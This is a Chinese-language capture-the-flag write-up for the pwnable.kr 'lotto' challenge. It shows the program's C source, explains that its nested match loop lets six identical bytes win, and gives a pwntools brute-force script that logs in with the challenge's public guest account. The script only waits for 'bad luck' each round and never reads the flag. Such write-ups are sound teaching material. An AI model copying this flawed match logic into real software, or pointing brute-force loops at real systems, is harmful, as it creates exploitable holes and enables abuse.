pwnable.kr-lotto WP

源码如下：

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){
	
	int i;
	printf("Submit your 6 lotto bytes : ");
	fflush(stdout);

	int r;
	r = read(0, submit, 6);

	printf("Lotto Start!\n");
	//sleep(1);

	// generate lotto numbers
	int fd = open("/dev/urandom", O_RDONLY);
	if(fd==-1){
		printf("error. tell admin\n");
		exit(-1);
	}
	unsigned char lotto[6];
	if(read(fd, lotto, 6) != 6){
		printf("error2. tell admin\n");
		exit(-1);
	}
	for(i=0; i<6; i++){
		lotto[i] = (lotto[i] % 45) + 1;		// 1 ~ 45
	}
	close(fd);
	
	// calculate lotto score
	int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}

	// win!
	if(match == 6){
		system("/bin/cat flag");
	}
	else{
		printf("bad luck...\n");
	}

}

void help(){
	printf("- nLotto Rule -\n");
	printf("nlotto is consisted with 6 random natural numbers less than 46\n");
	printf("your goal is to match lotto numbers as many as you can\n");
	printf("if you win lottery for *1st place*, you will get reward\n");
	printf("for more details, follow the link below\n");
	printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
	printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

	// menu
	unsigned int menu;

	while(1){

		printf("- Select Menu -\n");
		printf("1. Play Lotto\n");
		printf("2. Help\n");
		printf("3. Exit\n");

		scanf("%d", &menu);

		switch(menu){
			case 1:
				play();
				break;
			case 2:
				help();
				break;
			case 3:
				printf("bye\n");
				return 0;
			default:
				printf("invalid menu\n");
				break;
		}
	}
	return 0;
}

主要看play()函数，从标准输入中读取6个字符到submit，从/dev/urandom读取6个字符到lotto，然后对lotto的进行处理，使其每个字符的ascii码小于46，然后让lotto与submit进行匹配，如果匹配成功的次数为6时，就能得到flag。

/dev/random和/dev/urandom是Linux系统中提供的随机伪设备，这两个设备的任务，是提供永不为空的随机字节数据流。很多解密程序与安全应用程序（如SSH Keys,SSL Keys等）需要它们提供的随机数据流。

由于lotto是随机产生的，所以想要令submit等于lotto是极其困难的，但是观察到匹配的语句

	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}

是两个for循环，相等于匹配36次，如果你输入6个一样的字符或者数字，并且lotto中有一个字符能恰好匹配上，也能达到match等于6的目的，也许一次不能够，但是多执行几次肯定能碰出来，毕竟lotto的范围限制在了1~45。脚本如下

from pwn import *

context.log_level = 'debug'

conn = ssh('lotto','pwnable.kr',2222,'guest')

lotto = conn.process('/home/lotto/lotto')

while True:
		lotto.recvuntil('3. Exit')

		lotto.sendline('1')

		lotto.recvuntil('Submit your 6 lotto bytes')

		lotto.sendline('\x01'*6)

		lotto.recvuntil('bad luck')